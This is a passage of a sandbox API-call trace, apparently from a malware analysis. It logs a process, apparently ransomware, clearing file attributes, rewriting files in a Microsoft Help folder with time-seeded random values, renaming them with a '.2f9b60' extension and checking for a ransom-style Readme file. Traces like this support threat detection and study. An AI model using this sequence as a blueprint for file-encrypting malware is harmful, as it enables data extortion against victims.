returned 0x1b82a7e0 [0086.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a7e0) returned 1 [0086.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b82a7e0 [0086.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b080 [0086.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a600 [0086.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a600) returned 1 [0086.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0086.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0086.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1b858730 [0086.896] sprintf (in: _Dest=0x1b858730, _Format="%c%c" | out: _Dest="e8") returned 2 [0086.896] sprintf (in: _Dest=0x1b858732, _Format="%c%c" | out: _Dest="22") returned 2 [0086.896] sprintf (in: _Dest=0x1b858734, _Format="%c%c" | out: _Dest="cf") returned 2 [0086.896] sprintf (in: _Dest=0x1b858736, _Format="%c%c" | out: _Dest="b9") returned 2 [0086.896] sprintf (in: _Dest=0x1b858738, _Format="%c%c" | out: _Dest="bd") returned 2 [0086.896] sprintf (in: _Dest=0x1b85873a, _Format="%c%c" | out: _Dest="f3") returned 2 [0086.897] sprintf (in: _Dest=0x1b85873c, _Format="%c%c" | out: _Dest="de") returned 2 [0086.897] sprintf (in: _Dest=0x1b85873e, _Format="%c%c" | out: _Dest="c2") returned 2 [0086.897] sprintf (in: _Dest=0x1b858740, _Format="%c%c" | out: _Dest="7b") returned 2 [0086.897] sprintf (in: _Dest=0x1b858742, _Format="%c%c" | out: _Dest="96") returned 2 [0086.897] sprintf (in: _Dest=0x1b858744, _Format="%c%c" | out: _Dest="07") returned 2 [0086.897] sprintf (in: _Dest=0x1b858746, _Format="%c%c" | out: _Dest="f5") returned 2 [0086.897] sprintf (in: _Dest=0x1b858748, _Format="%c%c" | out: _Dest="95") returned 2 [0086.897] sprintf (in: _Dest=0x1b85874a, _Format="%c%c" | out: _Dest="45") returned 2 [0086.897] sprintf (in: _Dest=0x1b85874c, _Format="%c%c" | out: _Dest="99") returned 2 [0086.897] sprintf (in: _Dest=0x1b85874e, _Format="%c%c" | out: _Dest="ed") returned 2 [0086.897] sprintf (in: _Dest=0x1b858750, _Format="%c%c" | out: _Dest="54") returned 2 [0086.897] sprintf (in: _Dest=0x1b858752, _Format="%c%c" | out: _Dest="73") returned 2 [0086.897] sprintf (in: _Dest=0x1b858754, _Format="%c%c" | out: _Dest="e2") returned 2 [0086.897] sprintf (in: _Dest=0x1b858756, _Format="%c%c" | out: _Dest="b8") returned 2 [0086.897] sprintf (in: _Dest=0x1b858758, _Format="%c%c" | out: _Dest="dc") returned 2 [0086.897] sprintf (in: _Dest=0x1b85875a, _Format="%c%c" | out: _Dest="0a") returned 2 [0086.897] sprintf (in: _Dest=0x1b85875c, _Format="%c%c" | out: _Dest="f1") returned 2 [0086.897] sprintf (in: _Dest=0x1b85875e, _Format="%c%c" | out: _Dest="9d") returned 2 [0086.897] sprintf (in: _Dest=0x1b858760, _Format="%c%c" | out: _Dest="b3") returned 2 [0086.897] sprintf (in: _Dest=0x1b858762, _Format="%c%c" | out: _Dest="b9") returned 2 [0086.897] sprintf (in: _Dest=0x1b858764, _Format="%c%c" | out: _Dest="0a") returned 2 [0086.897] sprintf (in: _Dest=0x1b858766, _Format="%c%c" | out: _Dest="d4") returned 2 [0086.897] sprintf (in: _Dest=0x1b858768, _Format="%c%c" | out: _Dest="ce") returned 2 [0086.897] sprintf (in: _Dest=0x1b85876a, _Format="%c%c" | out: _Dest="d6") returned 2 [0086.897] sprintf (in: _Dest=0x1b85876c, _Format="%c%c" | out: _Dest="84") returned 2 [0086.897] sprintf (in: _Dest=0x1b85876e, _Format="%c%c" | out: _Dest="8c") returned 2 [0086.897] sprintf (in: _Dest=0x1b858770, _Format="%c%c" | out: _Dest="a3") returned 2 [0086.897] sprintf (in: _Dest=0x1b858772, _Format="%c%c" | out: _Dest="19") returned 2 [0086.897] sprintf (in: _Dest=0x1b858774, _Format="%c%c" | out: _Dest="8a") returned 2 [0086.898] sprintf (in: _Dest=0x1b858776, _Format="%c%c" | out: _Dest="3a") returned 2 [0086.898] sprintf (in: _Dest=0x1b858778, _Format="%c%c" | out: _Dest="6a") returned 2 [0086.898] sprintf (in: _Dest=0x1b85877a, _Format="%c%c" | out: _Dest="c8") returned 2 [0086.898] sprintf (in: _Dest=0x1b85877c, _Format="%c%c" | out: _Dest="90") returned 2 [0086.898] sprintf (in: _Dest=0x1b85877e, _Format="%c%c" | out: _Dest="00") returned 2 [0086.898] RtlInitAnsiString (in: DestinationString=0x2057fda8, SourceString="e822cfb9bdf3dec27b9607f5954599ed5473e2b8dc0af19db3b90ad4ced6848ca3198a3a6ac89000" | out: DestinationString="e822cfb9bdf3dec27b9607f5954599ed5473e2b8dc0af19db3b90ad4ced6848ca3198a3a6ac89000") [0086.898] RtlAnsiStringToUnicodeString (in: DestinationString=0x2057fd78, SourceString="e822cfb9bdf3dec27b9607f5954599ed5473e2b8dc0af19db3b90ad4ced6848ca3198a3a6ac89000", AllocateDestinationString=1 | out: DestinationString="e822cfb9bdf3dec27b9607f5954599ed5473e2b8dc0af19db3b90ad4ced6848ca3198a3a6ac89000") returned 0x0 [0086.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1b7a5a70 [0086.898] wcscat (in: _Dest=0x1b79dcf0, _Source="e822cfb9bdf3dec27b96" | out: _Dest="C:\\ProgramData\\Microsoft Help\\e822cfb9bdf3dec27b96") returned="C:\\ProgramData\\Microsoft Help\\e822cfb9bdf3dec27b96" [0086.898] wcscat (in: _Dest=0x1b79dcf0, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft Help\\e822cfb9bdf3dec27b96.2f9b60") returned="C:\\ProgramData\\Microsoft Help\\e822cfb9bdf3dec27b96.2f9b60" [0086.898] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft Help\\e822cfb9bdf3dec27b96.2f9b60", NtPathName=0x2057fd50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft Help\\e822cfb9bdf3dec27b96.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0086.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x1b7ad7a0 [0086.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad7a0) returned 1 [0086.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0086.900] NtQueryInformationFile (in: FileHandle=0x970, IoStatusBlock=0x2057fdb8, FileInformation=0x2057fdc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2057fdb8, FileInformation=0x2057fdc8) returned 0x0 [0086.900] NtSetInformationFile (FileHandle=0x970, IoStatusBlock=0x2057fdb8, FileInformation=0x2057fdc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0086.901] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0086.901] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5a70) returned 1 [0086.901] FlushFileBuffers (hFile=0x970) returned 1 [0086.902] CloseHandle (hObject=0x970) returned 1 [0086.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c1f00 [0086.903] wcscpy (in: _Dest=0x1b7c1f00, _Source="C:\\ProgramData\\Microsoft Help\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0086.903] wcscat (in: _Dest=0x1b7c1f00, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" [0086.903] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft help\\2f9b60-readme.txt")) returned 0x2020 [0086.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1f00) returned 1 [0086.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1f70) returned 1 Thread: id = 209 os_tid = 0xc74 [0086.919] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.mspub.14.1033.hxn")) returned 0x2022 [0086.920] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0086.920] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.mspub.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x96c [0086.920] GetFileSizeEx (in: hFile=0x96c, lpFileSize=0x1f5cf6e0 | out: lpFileSize=0x1f5cf6e0*=326) returned 1 [0086.920] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x142, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.920] ReadFile (in: hFile=0x96c, lpBuffer=0x1f5cf660, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f5cf6a8, lpOverlapped=0x0 | out: lpBuffer=0x1f5cf660*, lpNumberOfBytesRead=0x1f5cf6a8*=0x4, lpOverlapped=0x0) returned 1 [0086.921] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b290 [0086.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b230 [0086.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b1d0 [0086.921] NtQuerySystemTime (in: CurrentTime=0x1f5cf5a0 | out: CurrentTime=0x1f5cf5a0*=132462176927962000) returned 0x0 [0086.921] RtlRandomEx (in: Seed=0x1f5cf590 | out: Seed=0x1f5cf590) returned 0x5caaa8e8 [0086.921] RtlRandomEx (in: Seed=0x1f5cf590 | out: Seed=0x1f5cf590) returned 0x7e2383bc [0086.921] RtlRandomEx (in: Seed=0x1f5cf590 | out: Seed=0x1f5cf590) returned 0x486e7436 [0086.921] RtlRandomEx (in: Seed=0x1f5cf590 | out: Seed=0x1f5cf590) returned 0x62c761cb [0086.921] RtlRandomEx (in: Seed=0x1f5cf590 | out: Seed=0x1f5cf590) returned 0x392e66f5 [0086.922] RtlRandomEx (in: Seed=0x1f5cf590 | out: Seed=0x1f5cf590) returned 0x30b06251 [0086.922] RtlRandomEx (in: Seed=0x1f5cf590 | out: Seed=0x1f5cf590) returned 0x75aaf442 [0086.922] RtlRandomEx (in: Seed=0x1f5cf590 | out: Seed=0x1f5cf590) returned 0x17e11694 [0086.922] RtlRandomEx (in: Seed=0x1f5cf590 | out: Seed=0x1f5cf590) returned 0x3a440766 [0086.922] RtlRandomEx (in: Seed=0x1f5cf590 | out: Seed=0x1f5cf590) returned 0x4959dc59 [0086.922] RtlRandomEx (in: Seed=0x1f5cf590 | out: Seed=0x1f5cf590) returned 0xc9c1f83 [0086.922] RtlRandomEx (in: Seed=0x1f5cf590 | out: Seed=0x1f5cf590) returned 0x36bafdcf [0086.922] RtlRandomEx (in: Seed=0x1f5cf590 | out: Seed=0x1f5cf590) returned 0x122816b6 [0086.922] RtlRandomEx (in: Seed=0x1f5cf590 | out: Seed=0x1f5cf590) returned 0x6530b5e8 [0086.922] RtlRandomEx (in: Seed=0x1f5cf590 | out: Seed=0x1f5cf590) returned 0x594619cf [0086.922] RtlRandomEx (in: Seed=0x1f5cf590 | out: Seed=0x1f5cf590) returned 0x1e9c30b5 [0086.922] RtlRandomEx (in: Seed=0x1f5cf590 | out: Seed=0x1f5cf590) returned 0x7abcc281 [0086.922] RtlRandomEx (in: Seed=0x1f5cf590 | out: Seed=0x1f5cf590) returned 0x5e684bef [0086.922] RtlRandomEx (in: Seed=0x1f5cf590 | out: Seed=0x1f5cf590) returned 0x1afa7170 [0086.922] RtlRandomEx (in: Seed=0x1f5cf590 | out: Seed=0x1f5cf590) returned 0x7cb8aed9 [0086.922] RtlRandomEx (in: Seed=0x1f5cf590 | out: Seed=0x1f5cf590) returned 0x45008645 [0086.922] RtlRandomEx (in: Seed=0x1f5cf590 | out: Seed=0x1f5cf590) returned 0x4c38331b [0086.922] RtlRandomEx (in: Seed=0x1f5cf590 | out: Seed=0x1f5cf590) returned 0x7cc2c78 [0086.922] RtlRandomEx (in: Seed=0x1f5cf590 | out: Seed=0x1f5cf590) returned 0x6fd52e0b [0086.922] RtlRandomEx (in: Seed=0x1f5cf590 | out: Seed=0x1f5cf590) returned 0x37e100be [0086.922] RtlRandomEx (in: Seed=0x1f5cf590 | out: Seed=0x1f5cf590) returned 0x7027c24d [0086.922] RtlRandomEx (in: Seed=0x1f5cf590 | out: Seed=0x1f5cf590) returned 0x6d1bde57 [0086.922] RtlRandomEx (in: Seed=0x1f5cf590 | out: Seed=0x1f5cf590) returned 0x33411e1e [0086.922] RtlRandomEx (in: Seed=0x1f5cf590 | out: Seed=0x1f5cf590) returned 0x5c89937c [0086.922] RtlRandomEx (in: Seed=0x1f5cf590 | out: Seed=0x1f5cf590) returned 0x55718eec [0086.922] RtlRandomEx (in: Seed=0x1f5cf590 | out: Seed=0x1f5cf590) returned 0x2bae2b03 [0086.922] RtlRandomEx (in: Seed=0x1f5cf590 | out: Seed=0x1f5cf590) returned 0x7c3fccab [0086.929] ReadFile (in: hFile=0x96c, lpBuffer=0x1cda08c0, nNumberOfBytesToRead=0x146, lpNumberOfBytesRead=0x1f5cf590, lpOverlapped=0x0 | out: lpBuffer=0x1cda08c0*, lpNumberOfBytesRead=0x1f5cf590*=0x146, lpOverlapped=0x0) returned 1 [0086.929] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.929] WriteFile (in: hFile=0x96c, lpBuffer=0x1cda44d0*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x1f5cf594, lpOverlapped=0x0 | out: lpBuffer=0x1cda44d0*, lpNumberOfBytesWritten=0x1f5cf594*=0x146, lpOverlapped=0x0) returned 1 [0086.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b290 [0086.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b1d0 [0086.931] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b1d0) returned 1 [0086.931] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda44d0) returned 1 [0086.931] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda08c0) returned 1 [0086.931] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dd70) returned 1 [0086.931] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97210) returned 1 [0086.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cd9eeb0 [0086.931] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0086.931] WriteFile (in: hFile=0x96c, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x1f5cf6b0, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x1f5cf6b0*=0x11a, lpOverlapped=0x0) returned 1 [0086.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97210 [0086.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dd70 [0086.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b1a0 [0086.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b1a0) returned 1 [0086.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b82b1a0 [0086.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b2c0 [0086.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a930 [0086.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a930) returned 1 [0086.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dd70) returned 1 [0086.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97210) returned 1 [0086.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1b858730 [0086.937] sprintf (in: _Dest=0x1b858730, _Format="%c%c" | out: _Dest="b2") returned 2 [0086.937] sprintf (in: _Dest=0x1b858732, _Format="%c%c" | out: _Dest="1d") returned 2 [0086.937] sprintf (in: _Dest=0x1b858734, _Format="%c%c" | out: _Dest="93") returned 2 [0086.937] sprintf (in: _Dest=0x1b858736, _Format="%c%c" | out: _Dest="9d") returned 2 [0086.937] sprintf (in: _Dest=0x1b858738, _Format="%c%c" | out: _Dest="e6") returned 2 [0086.937] sprintf (in: _Dest=0x1b85873a, _Format="%c%c" | out: _Dest="bf") returned 2 [0086.937] sprintf (in: _Dest=0x1b85873c, _Format="%c%c" | out: _Dest="7b") returned 2 [0086.937] sprintf (in: _Dest=0x1b85873e, _Format="%c%c" | out: _Dest="68") returned 2 [0086.937] sprintf (in: _Dest=0x1b858740, _Format="%c%c" | out: _Dest="0c") returned 2 [0086.937] sprintf (in: _Dest=0x1b858742, _Format="%c%c" | out: _Dest="44") returned 2 [0086.937] sprintf (in: _Dest=0x1b858744, _Format="%c%c" | out: _Dest="41") returned 2 [0086.937] sprintf (in: _Dest=0x1b858746, _Format="%c%c" | out: _Dest="9a") returned 2 [0086.937] sprintf (in: _Dest=0x1b858748, _Format="%c%c" | out: _Dest="3f") returned 2 [0086.937] sprintf (in: _Dest=0x1b85874a, _Format="%c%c" | out: _Dest="b9") returned 2 [0086.937] sprintf (in: _Dest=0x1b85874c, _Format="%c%c" | out: _Dest="39") returned 2 [0086.937] sprintf (in: _Dest=0x1b85874e, _Format="%c%c" | out: _Dest="38") returned 2 [0086.937] sprintf (in: _Dest=0x1b858750, _Format="%c%c" | out: _Dest="67") returned 2 [0086.937] sprintf (in: _Dest=0x1b858752, _Format="%c%c" | out: _Dest="a7") returned 2 [0086.937] sprintf (in: _Dest=0x1b858754, _Format="%c%c" | out: _Dest="15") returned 2 [0086.937] sprintf (in: _Dest=0x1b858756, _Format="%c%c" | out: _Dest="bd") returned 2 [0086.937] sprintf (in: _Dest=0x1b858758, _Format="%c%c" | out: _Dest="ae") returned 2 [0086.937] sprintf (in: _Dest=0x1b85875a, _Format="%c%c" | out: _Dest="e4") returned 2 [0086.938] sprintf (in: _Dest=0x1b85875c, _Format="%c%c" | out: _Dest="7c") returned 2 [0086.938] sprintf (in: _Dest=0x1b85875e, _Format="%c%c" | out: _Dest="ee") returned 2 [0086.938] sprintf (in: _Dest=0x1b858760, _Format="%c%c" | out: _Dest="d8") returned 2 [0086.938] sprintf (in: _Dest=0x1b858762, _Format="%c%c" | out: _Dest="31") returned 2 [0086.938] sprintf (in: _Dest=0x1b858764, _Format="%c%c" | out: _Dest="f2") returned 2 [0086.938] sprintf (in: _Dest=0x1b858766, _Format="%c%c" | out: _Dest="dd") returned 2 [0086.938] sprintf (in: _Dest=0x1b858768, _Format="%c%c" | out: _Dest="ff") returned 2 [0086.938] sprintf (in: _Dest=0x1b85876a, _Format="%c%c" | out: _Dest="da") returned 2 [0086.938] sprintf (in: _Dest=0x1b85876c, _Format="%c%c" | out: _Dest="56") returned 2 [0086.938] sprintf (in: _Dest=0x1b85876e, _Format="%c%c" | out: _Dest="25") returned 2 [0086.938] sprintf (in: _Dest=0x1b858770, _Format="%c%c" | out: _Dest="a0") returned 2 [0086.938] sprintf (in: _Dest=0x1b858772, _Format="%c%c" | out: _Dest="63") returned 2 [0086.938] sprintf (in: _Dest=0x1b858774, _Format="%c%c" | out: _Dest="66") returned 2 [0086.938] sprintf (in: _Dest=0x1b858776, _Format="%c%c" | out: _Dest="42") returned 2 [0086.938] sprintf (in: _Dest=0x1b858778, _Format="%c%c" | out: _Dest="ed") returned 2 [0086.938] sprintf (in: _Dest=0x1b85877a, _Format="%c%c" | out: _Dest="1e") returned 2 [0086.938] sprintf (in: _Dest=0x1b85877c, _Format="%c%c" | out: _Dest="ad") returned 2 [0086.938] sprintf (in: _Dest=0x1b85877e, _Format="%c%c" | out: _Dest="d0") returned 2 [0086.938] RtlInitAnsiString (in: DestinationString=0x1f5cf728, SourceString="b21d939de6bf7b680c44419a3fb9393867a715bdaee47ceed831f2ddffda5625a0636642ed1eadd0" | out: DestinationString="b21d939de6bf7b680c44419a3fb9393867a715bdaee47ceed831f2ddffda5625a0636642ed1eadd0") [0086.938] RtlAnsiStringToUnicodeString (in: DestinationString=0x1f5cf6f8, SourceString="b21d939de6bf7b680c44419a3fb9393867a715bdaee47ceed831f2ddffda5625a0636642ed1eadd0", AllocateDestinationString=1 | out: DestinationString="b21d939de6bf7b680c44419a3fb9393867a715bdaee47ceed831f2ddffda5625a0636642ed1eadd0") returned 0x0 [0086.938] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1b7a59c0 [0086.938] wcscat (in: _Dest=0x1b79dd70, _Source="b21d939de6bf7b680c44" | out: _Dest="C:\\ProgramData\\Microsoft Help\\b21d939de6bf7b680c44") returned="C:\\ProgramData\\Microsoft Help\\b21d939de6bf7b680c44" [0086.938] wcscat (in: _Dest=0x1b79dd70, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft Help\\b21d939de6bf7b680c44.2f9b60") returned="C:\\ProgramData\\Microsoft Help\\b21d939de6bf7b680c44.2f9b60" [0086.938] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft Help\\b21d939de6bf7b680c44.2f9b60", NtPathName=0x1f5cf6d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft Help\\b21d939de6bf7b680c44.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0086.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x1b7ad7a0 [0086.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad7a0) returned 1 [0086.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0086.940] NtQueryInformationFile (in: FileHandle=0x96c, IoStatusBlock=0x1f5cf738, FileInformation=0x1f5cf748, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1f5cf738, FileInformation=0x1f5cf748) returned 0x0 [0086.940] NtSetInformationFile (FileHandle=0x96c, IoStatusBlock=0x1f5cf738, FileInformation=0x1f5cf748, Length=0x28, FileInformationClass=0x4) returned 0x0 [0086.941] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dd70) returned 1 [0086.941] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a59c0) returned 1 [0086.941] FlushFileBuffers (hFile=0x96c) returned 1 [0086.947] CloseHandle (hObject=0x96c) returned 1 [0086.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c1f70 [0086.948] wcscpy (in: _Dest=0x1b7c1f70, _Source="C:\\ProgramData\\Microsoft Help\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0086.948] wcscat (in: _Dest=0x1b7c1f70, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" [0086.948] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft help\\2f9b60-readme.txt")) returned 0x2020 [0086.949] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1f70) returned 1 [0086.949] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1fe0) returned 1 Thread: id = 210 os_tid = 0xc78 [0086.950] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.mspub.dev.14.1033.hxn")) returned 0x2022 [0086.950] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0086.950] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.mspub.dev.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x96c [0086.950] GetFileSizeEx (in: hFile=0x96c, lpFileSize=0x2075fe00 | out: lpFileSize=0x2075fe00*=350) returned 1 [0086.950] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x15a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.950] ReadFile (in: hFile=0x96c, lpBuffer=0x2075fd80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2075fdc8, lpOverlapped=0x0 | out: lpBuffer=0x2075fd80*, lpNumberOfBytesRead=0x2075fdc8*=0x4, lpOverlapped=0x0) returned 1 [0086.951] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b260 [0086.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b200 [0086.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b230 [0086.951] NtQuerySystemTime (in: CurrentTime=0x2075fcc0 | out: CurrentTime=0x2075fcc0*=132462176928274000) returned 0x0 [0086.951] RtlRandomEx (in: Seed=0x2075fcb0 | out: Seed=0x2075fcb0) returned 0x605fea9 [0086.951] RtlRandomEx (in: Seed=0x2075fcb0 | out: Seed=0x2075fcb0) returned 0x26da272e [0086.951] RtlRandomEx (in: Seed=0x2075fcb0 | out: Seed=0x2075fcb0) returned 0x38e09788 [0086.951] RtlRandomEx (in: Seed=0x2075fcb0 | out: Seed=0x2075fcb0) returned 0x5e6a2275 [0086.951] RtlRandomEx (in: Seed=0x2075fcb0 | out: Seed=0x2075fcb0) returned 0x522c6958 [0086.951] RtlRandomEx (in: Seed=0x2075fcb0 | out: Seed=0x2075fcb0) returned 0x4041368a [0086.951] RtlRandomEx (in: Seed=0x2075fcb0 | out: Seed=0x2075fcb0) returned 0x17b0de42 [0086.951] RtlRandomEx (in: Seed=0x2075fcb0 | out: Seed=0x2075fcb0) returned 0x10c389ac [0086.951] RtlRandomEx (in: Seed=0x2075fcb0 | out: Seed=0x2075fcb0) returned 0x40bf816b [0086.951] RtlRandomEx (in: Seed=0x2075fcb0 | out: Seed=0x2075fcb0) returned 0x7cc42d47 [0086.951] RtlRandomEx (in: Seed=0x2075fcb0 | out: Seed=0x2075fcb0) returned 0x1dcfc11f [0086.951] RtlRandomEx (in: Seed=0x2075fcb0 | out: Seed=0x2075fcb0) returned 0x1e1eadd6 [0086.951] RtlRandomEx (in: Seed=0x2075fcb0 | out: Seed=0x2075fcb0) returned 0x39a3fa82 [0086.951] RtlRandomEx (in: Seed=0x2075fcb0 | out: Seed=0x2075fcb0) returned 0x4a35a321 [0086.951] RtlRandomEx (in: Seed=0x2075fcb0 | out: Seed=0x2075fcb0) returned 0x5d3003d8 [0086.952] RtlRandomEx (in: Seed=0x2075fcb0 | out: Seed=0x2075fcb0) returned 0x1119527b [0086.952] RtlRandomEx (in: Seed=0x2075fcb0 | out: Seed=0x2075fcb0) returned 0x7bd94fbf [0086.952] RtlRandomEx (in: Seed=0x2075fcb0 | out: Seed=0x2075fcb0) returned 